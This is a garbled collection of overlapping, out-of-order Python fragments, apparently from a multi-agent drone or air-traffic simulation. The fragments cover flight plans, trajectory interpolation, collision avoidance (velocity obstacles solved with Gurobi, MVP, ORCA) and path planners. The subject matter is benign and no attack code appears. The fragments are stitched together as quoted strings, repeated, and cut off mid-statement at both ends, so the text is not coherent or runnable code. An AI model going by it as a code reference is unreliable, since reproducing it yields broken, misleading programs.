np.asarray([0.0,", "b * X[1] - K * X[2 + 2 * n_intruder + n_constraint]", "and goal are really close print(self.start) print(self.goal) pos_0 = self.trajectory[0] for pos in", "[]: print('agent, empty trajectory ') # happens if start and goal are really", "return neighbors[neighbors != self] def finish_flight(self, t,goal_pos=None, t_removed_from_sim=None): self.flight_status = 'finished' self.arrival_time =", "!= GRB.Status.OPTIMAL: print('Error gurobi failed to find a solution') print(model.status) vars = model.getVars()", "Follow flight plan (without consideration for kinematic properties) self.new_position = self.flightPlan.get_planned_position_at(current_time + dt,", "None: self.time_step = None self.times = np.array(times) else: self.times = np.array([self.start_time + i", "delta_pos+delta_vel*t_cpa dabsH = np.linalg.norm(dcpa) # If there is a conflict if dabsH <", "debug: print('New position ' + str(self.new_position)) print('old position ' + str(self.position)) if self.trajectory", "plan, times=np.array(times)) timer_end = python_time.time() self.preflight_time = timer_end - timer_start return self.flightPlan else:", "def get_planned_trajectory_between(self, start_time, end_time, debug=False): \"\"\" Returns trajectory between start_time and end_time\"\"\" if", "neighbors == []: return [] else: return neighbors[neighbors != self] def get_nearest_neighbors(self, k,", "for i in range(start_index, end_index): trajectory.append(self.positions[i]) times.append(self.times[i]) # trajectory_end_time <= times[end_index] if abs(self.times[end_index]-trajectory_end_time)", "velocity_change = np.asarray([0.0, 0.0]) direction = self.goal - self.position d = np.linalg.norm(direction) desired_velocity", "algo_type + ' is not implemented') def can_safely_take_off(self, t): if self.algo_type == 'straight':", "algo_type == 'Straight': timer_start = python_time.time() plan = [] plan.append(self.start) pos = np.copy(self.start)", "def get_end_time(self): if self.time_step is not None: return self.start_time + (len(self.positions) - 1)", "agent_log['actual_length']= actual_length agent_log['ideal_time_of_arrival']= self.desired_start_time+ideal_length / self.maxSpeed agent_log['actual_time_of_arrival']= self.arrival_time if self.t_removed_from_sim is not None:", "change the orientation v = np.linalg.norm(new_velocity) v_clamped = my_utils.clamp(self.minSpeed, self.maxSpeed, v) if self.agent_dynamics", "vector1 = [math.cos(theta + alpha), math.sin(theta + alpha)] vector2 = [math.cos(theta - alpha),", "more time # print('agent start and goal are close, redrawing at random') self.start,", "interpolation # Since we already now the index we could avoid a second", "speed = min(d / dt, self.maxSpeed) if d == 0: print('VO, this should", "False else: self.ownship = True self.flight_status = 'initialized' self.algo_type = algo_type self.cumulative_density=0 self.density=0", "= np.linalg.norm(new_velocity) v_clamped = my_utils.clamp(self.minSpeed, self.maxSpeed, v) if self.agent_dynamics is None: return new_velocity", "normal_2, normal_2) return constraint1, constraint2 def setupMIQCP(intruders, desired_vel, ownship_agent): \"\"\" Intruders should be", "pos_low) * (idx_float - idx_low) def get_planned_trajectory_between(self, start_time, end_time, debug=False): \"\"\" Returns trajectory", "print(start) print(end) print(np.linalg.norm(self.goal - self.start)) self.velocity = self.maxSpeed * (self.goal - self.start) /", "respected K = abs(a * max_vel) + abs(b * max_vel) + c model.addConstr(a", "'agent_type': self.agent_logic, 'desired_time_of_departure': self.desired_start_time, 'agent_id':self.id} if self.flight_status== 'finished' or self.flight_status == 'ongoing': agent_log['actual_time_of_departure']", "constraint1, constraint2 def setupMIQCP(intruders, desired_vel, ownship_agent): \"\"\" Intruders should be an array of", "!= end_index_float: pos_end = self.get_planned_position_at(end_time) trajectory.append(pos_end) times.append(trajectory_end_time) return trajectory, times def get_end_time(self): if", "print('times '+str(self.times)) print(start_time-self.end_time) if self.time_step is None: # self.times is sorted [start_index, end_index]", "self.times = None if times is not None: self.time_step = None self.times =", "self.ownship = True self.flight_status = 'initialized' self.algo_type = algo_type self.cumulative_density=0 self.density=0 self.n_steps=0 self.flight_leg=flight_leg", "decide where to go # Based on Hoekstra Bluesky simulator # The returned", "trajectory.append(pos_end) times.append(trajectory_end_time) return trajectory, times def get_end_time(self): if self.time_step is not None: return", "self.position) / dt if debug: print('New position ' + str(self.new_position)) print('old position '", "self.flightPlan is not None: return self.flightPlan.end_time else: print('Agent: in order to get the", "Introduce kinematic constraints # For now just clamp the velocity and instantly change", "= [math.cos(theta + alpha), math.sin(theta + alpha)] vector2 = [math.cos(theta - alpha), math.sin(theta", "self.positions[idx_low] # if time is exactly integer then returns the exact pos if", "times.append(trajectory_start_time) for i in range(start_index, end_index): trajectory.append(self.positions[i]) times.append(self.times[i]) # trajectory_end_time <= times[end_index] if", "this should not happen intruder and ownship are the same') rel_pos = intruder_agent.position", "feasible if algo_type == 'MVP_Bluesky': timer_start = python_time.time() neighbors = self.get_neighbors() velocity_change =", "(X[1] - desired_vel[1]) * (X[1] - desired_vel[1]), GRB.MINIMIZE) model.setParam(\"OutputFlag\", 0) model.setParam(\"FeasibilityTol\", 1e-9) model.update()", "= [] self.collision_avoidance_time = [] self.preflight_time = None self.flightPlan = None self.status =", "range(lower, upper + 1): trajectory.append(self.positions[index]) # times.append(self.start_time+index*self.time_step) times.append(self.times[index]) if upper != end_index_float: pos_end", "= min(speed * dt, d) # slow down to arrive at the goal", "by reference self.new_position = np.copy(self.start) self.radius = radius self.orientation = 0 self.minSpeed =", "interpolation trajectory.append(self.get_planned_position_at(trajectory_end_time)) times.append(trajectory_end_time) else: trajectory.append(self.positions[end_index]) times.append(trajectory_end_time) else: start_index_float = float((trajectory_start_time - self.start_time) /", "idx_low) def get_planned_trajectory_between(self, start_time, end_time, debug=False): \"\"\" Returns trajectory between start_time and end_time\"\"\"", "# if time is exactly integer then returns the exact pos if debug:", "+ X[2 + 2 * n_intruder + 1] <= 1) n_intruder += 1", "- times[0], plan, times=np.array(times)) timer_end = python_time.time() self.preflight_time = timer_end - timer_start return", "can_safely_take_off(self, t): if self.algo_type == 'straight': return True neighbors = self.environment.get_neighbors(self.position, self.radius) for", "\"\"\" model = grb.Model('VO') max_vel = ownship_agent.maxSpeed model.addVar(lb=-max_vel, ub=max_vel, name='x') model.addVar(lb=-max_vel, ub=max_vel, name='y')", "= [] self.preflight_time = None self.flightPlan = None self.status = 'ok' self.agent_logic =", "and published flight plans of other agents find a free path and publish", "float(np.linalg.norm(self.goal - self.start)) actual_length = 0 if self.trajectory == []: print('agent, empty trajectory", "# Introduce kinematic constraints # For now just clamp the velocity and instantly", "max_vel ** 2) model.setObjective( (X[0] - desired_vel[0]) * (X[0] - desired_vel[0]) + (X[1]", "/ d safety_factor = 1.10 # 10% safety factor (as in The effects", "self.start) / (np.linalg.norm(self.goal - self.start)) self.new_velocity = self.velocity self.trajectory = [] self.trajectory_times =", "# times.append(self.start_time+index*self.time_step) times.append(self.times[index]) if upper != end_index_float: pos_end = self.get_planned_position_at(end_time) trajectory.append(pos_end) times.append(trajectory_end_time) return", "if upper != end_index_float: pos_end = self.get_planned_position_at(end_time) trajectory.append(pos_end) times.append(trajectory_end_time) return trajectory, times def", "elif algo_type == 'straight': timer_start = python_time.time() d = np.linalg.norm(self.goal - self.position) speed", "intruder_agent == ownship_agent: print('get_VO this should not happen intruder and ownship are the", "None self.times = np.array(times) else: self.times = np.array([self.start_time + i * self.time_step for", "v_clamped / v def preflight(self, dt, algo_type='Straight', density=0): # Given, the start/goals and", "upper != end_index_float: pos_end = self.get_planned_position_at(end_time) trajectory.append(pos_end) times.append(trajectory_end_time) return trajectory, times def get_end_time(self):", "* max_vel) + abs(b * max_vel) + c model.addConstr(a * X[0] + b", "agent_log['heading']= heading agent_log['density']= self.density if self.agent_logic == 'strategic': agent_log['time_to_preflight'] = self.preflight_time elif self.agent_logic", "1) * self.time_step else: self.end_time=self.times[-1] def get_planned_position_at(self, time, return_velocity=False, ignore_timed_out=False, debug=False): \"\"\" Interpolates", "start is None or end is None: self.start, self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start", "self.time_step = dt self.times = None if times is not None: self.time_step =", "dabsH) * dcpa)/(abs(t_cpa)*dabsH) else: # If already moving away from conflict (tcpa is", "tolerances are a bit of a mess while d > self.maxSpeed * dt:", "the predicted end time a flight plan must exist') return self.start_time def compute_next_move(self,", "d == 0: print('the distance between the two agents is 0') if ownship_agent.radius", "grb from gurobipy import GRB import time as python_time class Flightplan: def __init__(self,", "self.environment = env self.centralized_manager = centralized_manager self.agent_dynamics = agent_dynamics if agent_logic == 'dumb':", "desired_velocity = min(self.maxSpeed, d / dt) * direction / d safety_factor = 1.10", "the velocity and instantly change the orientation v = np.linalg.norm(new_velocity) v_clamped = my_utils.clamp(self.minSpeed,", "be an array of agents \"\"\" model = grb.Model('VO') max_vel = ownship_agent.maxSpeed model.addVar(lb=-max_vel,", "alpha), math.sin(theta - alpha)] # must be greater normal_1 = np.array([vector1[1], -vector1[0]]) #", "print('unlikely, agent start and goal are still close') else: self.start = start self.goal", "> d: print('there is an intruder in the protected radius') print(ownship_agent.position) print(intruder_agent.position) alpha", "n_constraint = 0 for constraint in constraints_or: c = constraint(0, 0) a =", "self.compute_straight_move(self.position, self.goal, self.maxSpeed, dt) self.new_velocity = (self.new_position - self.position) / dt if self.agent_logic", "print('Agent: in order to get the predicted end time a flight plan must", "+ alpha), math.sin(theta + alpha)] vector2 = [math.cos(theta - alpha), math.sin(theta - alpha)]", "free path and publish it self.density = density if self.centralized_manager is None: print('agent.py", "algo_type == 'VO': timer_start = python_time.time() intruders = self.get_neighbors() d = np.linalg.norm(self.goal -", "= np.linalg.norm(self.goal - self.position) speed = min(d / dt, self.maxSpeed) if d ==", "times.append(self.times[index]) if upper != end_index_float: pos_end = self.get_planned_position_at(end_time) trajectory.append(pos_end) times.append(trajectory_end_time) return trajectory, times", "self.goal) < 10: print('unlikely, agent start and goal are still close') else: self.start", "self.start heading = math.atan2(direction[1], direction[0]) if self.agent_logic == 'reactive': self.density = self.cumulative_density/self.n_steps -", "Algorithm, <NAME>) # if d<=self.radius: # dV=0 # else: for neighbor in neighbors:", "that when the binary constraint is 1 the constraint is always respected K", "timer_end = python_time.time() self.preflight_time = timer_end - timer_start return self.flightPlan if algo_type ==", "* v_clamped / v else: turn_angle = my_utils.get_angle(self.velocity, new_velocity) max_angle=30*math.pi/180 if abs(turn_angle)>max_angle: vel", "+ c model.addConstr(a * X[0] + b * X[1] - K * X[2", "- alpha), math.sin(theta - alpha)] # must be greater normal_1 = np.array([vector1[1], -vector1[0]])", "must be arbitrarily large so that when the binary constraint is 1 the", "end_time, debug=False): \"\"\" Returns trajectory between start_time and end_time\"\"\" if (start_time - self.end_time)", "* self.time_step else: self.end_time=self.times[-1] def get_planned_position_at(self, time, return_velocity=False, ignore_timed_out=False, debug=False): \"\"\" Interpolates between", "__init__(self, t0, dt, positions, times=None): self.start_time = t0 self.positions = positions self.time_step =", "timer_start return self.flightPlan if algo_type == 'LocalVO': timer_start = python_time.time() local_planner = pathPlanning.Local_VO(self.start,", "collision_avoidance(self, dt, algo_type='MVP'): # Given current position, next flight plan goal and surrounding", "if d<=self.radius: # dV=0 # else: for neighbor in neighbors: # Find Time", "== 'finished': ideal_length = float(np.linalg.norm(self.goal - self.start)) actual_length = 0 if self.trajectory ==", "if self.centralized_manager is None: print('agent.py preflight error, a centralized manager must exist') if", "in intruders: constraints_or = get_VO(intruder, ownship_agent) n_constraint = 0 for constraint in constraints_or:", "self.velocity = np.copy(self.new_velocity) return self.position def velocity_update(self, new_velocity): # Introduce kinematic constraints #", "if dabsH < self.radius: # If head-on conflict if dabsH<=10: dabsH=10 dcpa[0] =", "implemented ') def get_neighbors(self): neighbors = self.environment.get_neighbors(self.position, self.sensing_radius) if neighbors == []: return", "end_index_float = float((trajectory_end_time - self.start_time) / self.time_step) lower = math.ceil(start_index_float) upper = min(math.floor(end_index_float),", "pos_0 = self.trajectory[0] for pos in self.trajectory: d = np.linalg.norm(pos - pos_0) actual_length", "+ dt) self.flight_status = 'ongoing' def compute_straight_move(self, current_position, goal, speed, dt): orientation =", "python_time.time() self.preflight_time = timer_end - timer_start return self.flightPlan if algo_type == 'SIPP': timer_start", "= self.start_time + (len(self.positions) - 1) * self.time_step else: self.end_time=self.times[-1] def get_planned_position_at(self, time,", "return new_velocity * v_clamped / v else: turn_angle = my_utils.get_angle(self.velocity, new_velocity) max_angle=30*math.pi/180 if", "X[2 + 2 * n_intruder + n_constraint] <= -c) n_constraint += 1 model.addConstr(X[2", "if return_velocity: return pos_low + (pos_high - pos_low) * (idx_float - idx_low), (pos_high-pos_low)/(self.times[idx_high]-self.times[idx_low])", "= python_time.time() self.preflight_time = timer_end - timer_start return self.flightPlan else: print('The algo type", "+ 2 * n_intruder] + X[2 + 2 * n_intruder + 1] <=", "plotter([-1000,1000],[-1000,1000],100,[get_VO(intruders[0],self)],chosen_v=np.array([vars[0].x,vars[1].x])) pass timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return np.array([vars[0].x, vars[1].x]) elif algo_type", "if d == 0: print('the distance between the two agents is 0') if", "= self.environment.get_protected_area() else: # All other agents can wait in place protected_area =", "self.positions[idx_high] else: if time > self.times[-1]: return np.copy(self.positions[-1]) idx_high = np.searchsorted(self.times, time) idx_low", "Approach delta_pos = self.position - neighbor.position dist=np.linalg.norm(delta_pos) delta_vel = desired_velocity - neighbor.velocity if", "(self.new_position - self.position) / dt if self.agent_logic == 'reactive': self.cumulative_density += density self.n_steps", "if self.times[idx_high] == time or idx_low == idx_high: if return_velocity: if idx_high ==", "exist') if algo_type == 'Straight': timer_start = python_time.time() plan = [] plan.append(self.start) pos", "None: idx_float = (float(time) - float(self.start_time)) / float(self.time_step) idx_low = min(math.floor(idx_float), n -", "k+1, max_radius) if neighbors == []: return [] else: return neighbors[neighbors != self]", "<= -c) n_constraint += 1 model.addConstr(X[2 + 2 * n_intruder] + X[2 +", "np.copy(self.start) self.radius = radius self.orientation = 0 self.minSpeed = 0.0 self.maxSpeed = max_speed", "= timer_end - timer_start return self.flightPlan if algo_type == 'Decoupled': timer_start = python_time.time()", "is too short') print('agent start '+ str(self.start)) print('agent goal '+str(self.goal)) print('agent plan pos", "kinematic constraints # For now just clamp the velocity and instantly change the", "desired_velocity, self) model.optimize() if model.status != GRB.Status.OPTIMAL: print('Error gurobi failed to find a", "Flightplan: def __init__(self, t0, dt, positions, times=None): self.start_time = t0 self.positions = positions", "/ np.dot(delta_vel, delta_vel) dcpa = delta_pos+delta_vel*t_cpa dabsH = np.linalg.norm(dcpa) # If there is", "end=None, start_time=0, agent_logic='dumb', centralized_manager=None, algo_type=None, agent_dynamics=None, id=0, sensing_radius=10000, flight_leg='initial'): self.id = id self.environment", "np.linalg.norm(rel_pos) if d == 0: print('the distance between the two agents is 0')", "new_velocity * v_clamped / v def preflight(self, dt, algo_type='Straight', density=0): # Given, the", "timer_end - timer_start return self.flightPlan if algo_type == 'SIPP': timer_start = python_time.time() sipp_planner", "print(np.linalg.norm(self.goal - self.start)) self.velocity = self.maxSpeed * (self.goal - self.start) / (np.linalg.norm(self.goal -", "self.density if self.agent_logic == 'strategic': agent_log['time_to_preflight'] = self.preflight_time elif self.agent_logic == 'reactive': agent_log['average_time_to_plan_avoidance']", "(self.goal - self.position) * speed / d timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start)", "return [] else: return neighbors[neighbors != self] def get_nearest_neighbors(self, k, max_radius): # Will", "exactly integer then returns the exact pos if debug: print(idx_float) print(pos_high) print(pos_low) if", "= np.copy(self.start) d = np.linalg.norm(self.goal - pos) # Larger time steps require larger", "if agent_logic == 'dumb': self.ownship = False else: self.ownship = True self.flight_status =", "other agents can wait in place protected_area = None # Can't have random", "if d == 0: print('VO, this should not happen') print('distance to goal is", "len(self.collision_avoidance_time) agent_log['total_planning_time'] = sum(self.collision_avoidance_time) return agent_log def get_VO(intruder_agent, ownship_agent): if intruder_agent == ownship_agent:", "a centralized manager must exist') if algo_type == 'Straight': timer_start = python_time.time() plan", "= np.searchsorted(self.times, [trajectory_start_time, trajectory_end_time]) temp = self.times[start_index] if abs(self.times[start_index]-trajectory_start_time) > 1e-4: # requires", "intruder_agent.position - ownship_agent.position d = np.linalg.norm(rel_pos) if d == 0: print('the distance between", "model.addVar(lb=-max_vel, ub=max_vel, name='x') model.addVar(lb=-max_vel, ub=max_vel, name='y') model.addVars(2 * len(intruders), vtype=GRB.BINARY) model.update() X =", "== 'Decoupled': timer_start = python_time.time() decoupled_planner = pathPlanning.DecoupledApproach(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance)", "wait in place protected_area = None # Can't have random start and not", "= python_time.time() neighbors = self.get_neighbors() velocity_change = np.asarray([0.0, 0.0]) direction = self.goal -", "<= 1e-4: return None, None trajectory_end_time = min(end_time, self.end_time) trajectory_start_time = max(start_time, self.start_time)", "protected_area = self.environment.get_protected_area() else: # All other agents can wait in place protected_area", "np.dot((np.array([x, y]) - intruder_agent.velocity) + 0.1 * normal_2, normal_2) return constraint1, constraint2 def", "(time - self.times[idx_low]) / (self.times[idx_high] - self.times[idx_low]) pos_high = self.positions[idx_high] pos_low = self.positions[idx_low]", "query one more neighbor neighbors = self.environment.get_nearest_neighbors(self.position, k+1, max_radius) if neighbors == []:", "return pos_low + (pos_high - pos_low) * (idx_float - idx_low) def get_planned_trajectory_between(self, start_time,", "d = np.linalg.norm(direction) desired_velocity = min(self.maxSpeed, d / dt) * direction / d", "while d > self.maxSpeed * dt: pos = self.compute_straight_move(pos, self.goal, self.maxSpeed, dt) d", "self.goal = end self.position = np.copy(self.start) # Passed by reference self.new_position = np.copy(self.start)", "self.end_time) >= -1e-4 or (end_time - self.start_time) <= 1e-4: return None, None trajectory_end_time", "np.array(times) else: self.times = np.array([self.start_time + i * self.time_step for i in range(0,", "-vector1[0]]) # Rotated +90 degrees constraint1 = lambda x, y: np.dot((np.array([x, y]) -", "position in self.new_position. The position is updated when move is called \"\"\" if", "exist') return self.start_time def compute_next_move(self, current_time, dt, debug=False, density=0): \"\"\" Store the next", "2 * n_intruder + 1] <= 1) n_intruder += 1 model.addConstr(X[0] * X[0]", "+ dt, debug=debug) self.new_velocity = (self.new_position - self.position) / dt if debug: print('New", "time steps require larger tolerance # TODO tolerances are a bit of a", "max_step_length def move(self): self.position = np.copy(self.new_position) self.velocity = np.copy(self.new_velocity) return self.position def velocity_update(self,", "= self.positions[idx_low] # if time is exactly integer then returns the exact pos", "the orientation v = np.linalg.norm(new_velocity) v_clamped = my_utils.clamp(self.minSpeed, self.maxSpeed, v) if self.agent_dynamics is", "vars = model.getVars() if intruders != []: # plotter([-1000,1000],[-1000,1000],100,[get_VO(intruders[0],self)],chosen_v=np.array([vars[0].x,vars[1].x])) pass timer_end = python_time.time()", "debug=False, density=0): \"\"\" Store the next position in self.new_position. The position is updated", "dt if debug: print('New position ' + str(self.new_position)) print('old position ' + str(self.position))", "times=None): self.start_time = t0 self.positions = positions self.time_step = dt self.times = None", "0]) else: velocity = (self.positions[idx_high+1]-self.positions[idx_high])/(self.times[idx_high+1]-self.times[idx_high]) return self.positions[idx_high], velocity else: return self.positions[idx_high] idx_float =", "pos_end = self.get_planned_position_at(end_time) trajectory.append(pos_end) times.append(trajectory_end_time) return trajectory, times def get_end_time(self): if self.time_step is", "# actual start time if a ground delay is planned if np.linalg.norm(self.goal -", "- 1) if idx_low == idx_high: # Indices are equal because idx_float is", "/ self.maxSpeed agent_log['actual_time_of_arrival']= self.arrival_time if self.t_removed_from_sim is not None: agent_log['time_removed_from_sim']=self.t_removed_from_sim agent_log['heading']= heading agent_log['density']=", "be smaller normal_2 = np.array([-vector2[1], vector2[0]]) # Rotated -90 degrees constraint2 = lambda", "find a free path and publish it self.density = density if self.centralized_manager is", "manager must exist') if algo_type == 'Straight': timer_start = python_time.time() plan = []", "= False else: self.ownship = True self.flight_status = 'initialized' self.algo_type = algo_type self.cumulative_density=0", "str(times)) self.flightPlan = Flightplan(times[0], times[1] - times[0], plan, times=np.array(times)) timer_end = python_time.time() self.preflight_time", "Bluesky simulator # The returned velocity might not be feasible if algo_type ==", "speed / d model = setupMIQCP(intruders, desired_velocity, self) model.optimize() if model.status != GRB.Status.OPTIMAL:", "algo_type == 'Decoupled': timer_start = python_time.time() decoupled_planner = pathPlanning.DecoupledApproach(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager,", "not implemented ') def get_neighbors(self): neighbors = self.environment.get_neighbors(self.position, self.sensing_radius) if neighbors == []:", "are equal because idx_float is an int if return_velocity: if idx_high == n-1:", "min(d / dt, self.maxSpeed) desired_velocity = (self.goal - self.position) * speed / d", "velocity = np.array([0, 0]) else: velocity = (self.positions[idx_high+1]-self.positions[idx_high])/(self.times[idx_high+1]-self.times[idx_high]) return self.positions[idx_high], velocity else: return", "self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times = local_planner.search() if not success:", "if debug: print('New position ' + str(self.new_position)) print('old position ' + str(self.position)) if", "print('New position ' + str(self.new_position)) print('old position ' + str(self.position)) if self.trajectory ==", "ownship_agent: print('get_VO this should not happen intruder and ownship are the same') rel_pos", "local_planner.search() if not success: self.flight_status = 'cancelled' return None self.start_time = times[0] ##", "astar_planner = pathPlanning.AStar_8grid(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager) success, plan, times = astar_planner.search() if", "a second call to search sorted trajectory.append(self.get_planned_position_at(trajectory_start_time)) times.append(trajectory_start_time) for i in range(start_index, end_index):", "preflight(self, dt, algo_type='Straight', density=0): # Given, the start/goals and published flight plans of", "1 if self.algo_type is None: self.algo_type = 'MVP' self.new_velocity = self.collision_avoidance(dt, algo_type=self.algo_type) self.new_velocity", "else: return None n = len(self.positions) if self.time_step is not None: idx_float =", "self.flight_status = 'cancelled' return None self.start_time = times[0] self.flightPlan = Flightplan(times[0], times[1] -", "trajectory_end_time = min(end_time, self.end_time) trajectory_start_time = max(start_time, self.start_time) trajectory = [] times =", "(X[0] - desired_vel[0]) * (X[0] - desired_vel[0]) + (X[1] - desired_vel[1]) * (X[1]", "- timer_start return self.flightPlan if algo_type == 'LocalVO': timer_start = python_time.time() local_planner =", "timer_start = python_time.time() d = np.linalg.norm(self.goal - self.position) speed = min(d / dt,", "not implemented') def can_safely_take_off(self, t): if self.algo_type == 'straight': return True neighbors =", "time step return current_position + np.array([math.cos(orientation), math.sin(orientation)]) * max_step_length def move(self): self.position =", "self.agent_logic == 'strategic': # Follow flight plan (without consideration for kinematic properties) self.new_position", "# 10% safety factor (as in The effects of Swarming on a Voltage", "import time as python_time class Flightplan: def __init__(self, t0, dt, positions, times=None): self.start_time", "= min(math.floor(end_index_float), len(self.positions) - 1) if lower != start_index_float: pos_0 = self.get_planned_position_at(start_time) trajectory.append(np.copy(pos_0))", "print('agent, empty trajectory ') # happens if start and goal are really close", "= lambda x, y: np.dot((np.array([x, y]) - intruder_agent.velocity) + 0.1 * normal_2, normal_2)", "/ dist * dabsH dcpa[1] = -delta_pos[0] / dist * dabsH if self.radius*safety_factor", "self.trajectory.append(np.copy(self.position)) self.trajectory_times.append(current_time) self.trajectory.append(np.copy(self.new_position)) self.trajectory_times.append(current_time + dt) self.flight_status = 'ongoing' def compute_straight_move(self, current_position, goal,", "trajectory_end_time]) temp = self.times[start_index] if abs(self.times[start_index]-trajectory_start_time) > 1e-4: # requires interpolation # Since", "True neighbors = self.environment.get_neighbors(self.position, self.radius) for vehicle in neighbors: if t >= vehicle.start_time", "dV=0 # else: for neighbor in neighbors: # Find Time of Closest Approach", "self.positions[idx_high] pos_low = self.positions[idx_low] # if time is exactly integer then returns the", "conflict if dabsH < self.radius: # If head-on conflict if dabsH<=10: dabsH=10 dcpa[0]", "self.preflight_time = timer_end - timer_start return self.flightPlan if algo_type == 'SIPP': timer_start =", "'+str(start_time)) print('end_time '+str(end_time)) print('positions '+str(self.positions)) print('times '+str(self.times)) print(start_time-self.end_time) if self.time_step is None: #", "self.maxSpeed) desired_velocity = (self.goal - self.position) * speed / d timer_end = python_time.time()", "def get_nearest_neighbors(self, k, max_radius): # Will return itself so query one more neighbor", "self.times = np.array(times) else: self.times = np.array([self.start_time + i * self.time_step for i", "= (self.new_position - self.position) / dt if debug: print('New position ' + str(self.new_position))", "self.velocity = self.maxSpeed * (self.goal - self.start) / (np.linalg.norm(self.goal - self.start)) self.new_velocity =", "pos if debug: print(idx_float) print(pos_high) print(pos_low) if return_velocity: return pos_low + (pos_high -", "(self.new_position - self.position) / dt if debug: print('New position ' + str(self.new_position)) print('old", "itself so query one more neighbor neighbors = self.environment.get_nearest_neighbors(self.position, k+1, max_radius) if neighbors", "normal_1) # must be smaller normal_2 = np.array([-vector2[1], vector2[0]]) # Rotated -90 degrees", "abs(self.times[start_index]-trajectory_start_time) > 1e-4: # requires interpolation # Since we already now the index", "an int if return_velocity: if idx_high == n-1: velocity = np.array([0, 0]) else:", ">= vehicle.start_time and vehicle.id != self.id: # if np.linalg.norm(self.position - vehicle.position) <= self.radius:", "Swarming on a Voltage Potential-Based Conflict Resolution Algorithm, <NAME>) # if d<=self.radius: #", "= constraint(0, 0) a = constraint(1, 0) - c b = constraint(0, 1)", "trajectory_start_time = max(start_time, self.start_time) trajectory = [] times = [] if debug: print('time", "== 'dumb': self.ownship = False else: self.ownship = True self.flight_status = 'initialized' self.algo_type", "== 'VO': timer_start = python_time.time() intruders = self.get_neighbors() d = np.linalg.norm(self.goal - self.position)", "== idx_high: # Indices are equal because idx_float is an int if return_velocity:", "print('The algo type ' + algo_type + ' is not implemented') def can_safely_take_off(self,", "print(model.status) vars = model.getVars() if intruders != []: # plotter([-1000,1000],[-1000,1000],100,[get_VO(intruders[0],self)],chosen_v=np.array([vars[0].x,vars[1].x])) pass timer_end =", "= env self.centralized_manager = centralized_manager self.agent_dynamics = agent_dynamics if agent_logic == 'dumb': protected_area", "dt) * direction / d safety_factor = 1.10 # 10% safety factor (as", "True def collision_avoidance(self, dt, algo_type='MVP'): # Given current position, next flight plan goal", "algo_type == 'ORCA': timer_start = python_time.time() reactive_solver = orca.ORCA() vel=reactive_solver.compute_new_velocity(self, dt) timer_end =", "empty trajectory ') # happens if start and goal are really close print(self.start)", "find a solution') print(model.status) vars = model.getVars() if intruders != []: # plotter([-1000,1000],[-1000,1000],100,[get_VO(intruders[0],self)],chosen_v=np.array([vars[0].x,vars[1].x]))", "pos) plan.append(pos) if d != 0: plan.append(self.goal) self.flightPlan = Flightplan(self.start_time, dt, plan) timer_end", "timer_end - timer_start return self.flightPlan if algo_type == 'A_star_8': timer_start = python_time.time() astar_planner", "agent_log['time_removed_from_sim']=self.t_removed_from_sim agent_log['heading']= heading agent_log['density']= self.density if self.agent_logic == 'strategic': agent_log['time_to_preflight'] = self.preflight_time elif", "+ 1): trajectory.append(self.positions[index]) # times.append(self.start_time+index*self.time_step) times.append(self.times[index]) if upper != end_index_float: pos_end = self.get_planned_position_at(end_time)", "# All other agents can wait in place protected_area = None # Can't", "!= self.id: # if np.linalg.norm(self.position - vehicle.position) <= self.radius: self.flight_status = 'waiting' return", "np.linalg.norm(new_velocity) v_clamped = my_utils.clamp(self.minSpeed, self.maxSpeed, v) if self.agent_dynamics is None: return new_velocity *", "are the same') rel_pos = intruder_agent.position - ownship_agent.position d = np.linalg.norm(rel_pos) if d", "self.flightPlan = Flightplan(times[0], times[1] - times[0], plan, times=np.array(times)) timer_end = python_time.time() self.preflight_time =", "speed = min(d / dt, self.maxSpeed) desired_velocity = (self.goal - self.position) * speed", "* n_intruder] + X[2 + 2 * n_intruder + 1] <= 1) n_intruder", "dabsH dcpa[1] = -delta_pos[0] / dist * dabsH if self.radius*safety_factor < dist: erratum", "desired_vel[0]) + (X[1] - desired_vel[1]) * (X[1] - desired_vel[1]), GRB.MINIMIZE) model.setParam(\"OutputFlag\", 0) model.setParam(\"FeasibilityTol\",", "times=np.array(times)) timer_end = python_time.time() self.preflight_time = timer_end - timer_start return self.flightPlan else: print('The", "python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return desired_velocity + velocity_change elif algo_type == 'VO': timer_start", "alpha = math.asin(ownship_agent.radius / d) # VO cone half-angle (>=0) theta = math.atan2(rel_pos[1],", "/ (self.times[idx_high] - self.times[idx_low]) pos_high = self.positions[idx_high] pos_low = self.positions[idx_low] # if time", "print('agent goal '+str(self.goal)) print('agent plan pos '+str(plan)) print('agent plan times ' + str(times))", "-90 degrees constraint2 = lambda x, y: np.dot((np.array([x, y]) - intruder_agent.velocity) + 0.1", "times is not None: self.time_step = None self.times = np.array(times) else: self.times =", "dt): orientation = math.atan2(goal[1] - current_position[1], goal[0] - current_position[0]) d = np.linalg.norm(goal -", "K must be arbitrarily large so that when the binary constraint is 1", "min(end_time, self.end_time) trajectory_start_time = max(start_time, self.start_time) trajectory = [] times = [] if", "print('Error gurobi failed to find a solution') print(model.status) vars = model.getVars() if intruders", "[] self.trajectory_times = [] self.collision_avoidance_time = [] self.preflight_time = None self.flightPlan = None", "None or end is None: self.start, self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start - self.goal)", "dabsH)*dcpa/(abs(t_cpa)*dabsH) velocity_change += dV timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return desired_velocity +", "timer_start = python_time.time() reactive_solver = orca.ORCA() vel=reactive_solver.compute_new_velocity(self, dt) timer_end = python_time.time() self.collision_avoidance_time.append(timer_end -", "direction = self.goal - self.start heading = math.atan2(direction[1], direction[0]) if self.agent_logic == 'reactive':", "current_position + np.array([math.cos(orientation), math.sin(orientation)]) * max_step_length def move(self): self.position = np.copy(self.new_position) self.velocity =", "in the protected radius') print(ownship_agent.position) print(intruder_agent.position) alpha = math.asin(ownship_agent.radius / d) # VO", "if ownship_agent.radius > d: print('there is an intruder in the protected radius') print(ownship_agent.position)", "max_radius): # Will return itself so query one more neighbor neighbors = self.environment.get_nearest_neighbors(self.position,", "Larger time steps require larger tolerance # TODO tolerances are a bit of", "= python_time.time() reactive_solver = orca.ORCA() 